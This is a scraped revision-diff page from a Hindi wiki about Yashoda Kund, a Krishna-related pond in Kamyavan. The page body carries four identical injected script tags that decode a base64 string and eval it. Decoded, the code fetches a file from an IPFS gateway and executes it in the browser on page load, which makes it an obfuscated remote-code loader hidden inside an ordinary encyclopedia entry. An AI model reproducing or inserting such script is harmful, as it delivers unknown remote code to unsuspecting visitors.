"यशोदा कुण्ड" के अवतरणों में अंतर

ब्रज डिस्कवरी, एक मुक्त ज्ञानकोष से
नेविगेशन पर जाएँ खोज पर जाएँ
पंक्ति ३: पंक्ति ३:
 
==यशोदा कुण्ड / Yashoda Kund==
 
==यशोदा कुण्ड / Yashoda Kund==
 
[[काम्यवन]] में यहीं कृष्ण की माता श्री [[यशोदा]] जी का पित्रालय था । श्री [[कृष्ण]] बचपन में अपनी माता जी के साथ यहाँ कभी–कभी आकर निवास करते थे । कभी–कभी [[नन्द]]–[[गोकुल]] अपने गऊओं के साथ पड़ाव में यहीं ठहरता था। श्रीकृष्ण सखाओं के साथ यहाँ गोचारण भी करते थे ।<ref>देख यशोदाकुण्ड परम निर्मल । एथा गोचारणे कृष्ण हईया विहृल॥ (भक्तिरत्नाकर)</ref>।ऐसा शास्त्रों में उल्लेख है । यह स्थान अत्यन्त मनोहर है ।
 
[[काम्यवन]] में यहीं कृष्ण की माता श्री [[यशोदा]] जी का पित्रालय था । श्री [[कृष्ण]] बचपन में अपनी माता जी के साथ यहाँ कभी–कभी आकर निवास करते थे । कभी–कभी [[नन्द]]–[[गोकुल]] अपने गऊओं के साथ पड़ाव में यहीं ठहरता था। श्रीकृष्ण सखाओं के साथ यहाँ गोचारण भी करते थे ।<ref>देख यशोदाकुण्ड परम निर्मल । एथा गोचारणे कृष्ण हईया विहृल॥ (भक्तिरत्नाकर)</ref>।ऐसा शास्त्रों में उल्लेख है । यह स्थान अत्यन्त मनोहर है ।
==अन्य लिंक==
+
==सम्बंधित लिंक==
{| width="100%"
+
{{ब्रज के दर्शनीय स्थल}}
|-
 
|{{काम्यवन}}
 
|-
 
|{{साँचा:कुण्ड}}
 
|}
 
 
[[Category:कोश]]
 
[[Category:कोश]]
 
[[Category:धार्मिक स्थल]]
 
[[Category:धार्मिक स्थल]]

१२:४८, ५ जुलाई २०१० का अवतरण

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


Logo.jpg पन्ना बनने की प्रक्रिया में है। आप इसको तैयार कर सकते हैं। हिंदी (देवनागरी) टाइप की सुविधा संपादन पन्ने पर ही उसके नीचे उपलब्ध है।

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

यशोदा कुण्ड / Yashoda Kund

काम्यवन में यहीं कृष्ण की माता श्री यशोदा जी का पित्रालय था । श्री कृष्ण बचपन में अपनी माता जी के साथ यहाँ कभी–कभी आकर निवास करते थे । कभी–कभी नन्द–गोकुल अपने गऊओं के साथ पड़ाव में यहीं ठहरता था। श्रीकृष्ण सखाओं के साथ यहाँ गोचारण भी करते थे ।[१]।ऐसा शास्त्रों में उल्लेख है । यह स्थान अत्यन्त मनोहर है ।

सम्बंधित लिंक

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>



टीका-टिप्पणी

  1. देख यशोदाकुण्ड परम निर्मल । एथा गोचारणे कृष्ण हईया विहृल॥ (भक्तिरत्नाकर)